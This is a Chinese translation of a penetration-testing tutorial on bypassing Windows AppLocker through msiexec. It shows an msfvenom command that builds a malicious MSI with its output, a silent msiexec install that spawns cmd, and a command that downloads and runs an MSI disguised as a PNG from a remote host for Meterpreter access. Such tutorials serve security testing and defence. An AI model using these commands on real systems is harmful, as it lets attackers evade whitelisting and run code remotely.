MSIEXEC是Windows操作系统中的一个实用程序,可用于从命令行安装或配置产品。 如果环境配置不正确,则使用.MSI文件就可以允许攻击者执行权限升级或绕过AppLocker规则。 本文的以下内容表明,当系统配置为不阻止所有用户执行MSI文件时,那么系统就得不到正确的保护,因为任何一个AppLocker的可执行规则都可以轻松绕过。
可以使用Metasploit 的MsfVenom来生成用于执行命令或有效载荷的.MSI文件。
msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 199 bytes
Final size of msi file: 159744 bytes
使用 MsfVenom 生成 MSI 文件
运行powershell.msi 将会打开一个PowerShell会话,这样就可以绕过AppLocker的规则了,即使已经设置了所有用户都不可以执行PowerShell。
利用MSIEXEC 运行 PowerShell
同样可以利用这种方式运行cmd命令,即使Windows系统已经阻止了cmd命令的执行。
msiexec /quiet /i cmd.msi
执行上述命令后,就会弹出cmd的窗口。
另外,msiexec实用程序还可以运行已经重命名过的MSI文件,比如重命名为PNG的MSI文件。 这些文件可以在命令提示符中本地执行或从远程执行,当然也可以绕过AppLocker规则执行。
msiexec /q /i [img]http://192.168.100.3/tmp/cmd.png[/img]
利用MSIEXEC执行PNG文件,弹出cmd
上述操作同样可以用在Meterpreter payload 执行MSI文件上。
利用MSI 执行 Meterpreter Payload
利用MSIEXEC获得Meterpreter 会话
本文翻译自https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/,如若转载,请注明原文地址: http://www.4hou.com/technology/5612.html[http://www.4hou.com/technology/5612.html](http://www.4hou.com/technology/5612.html)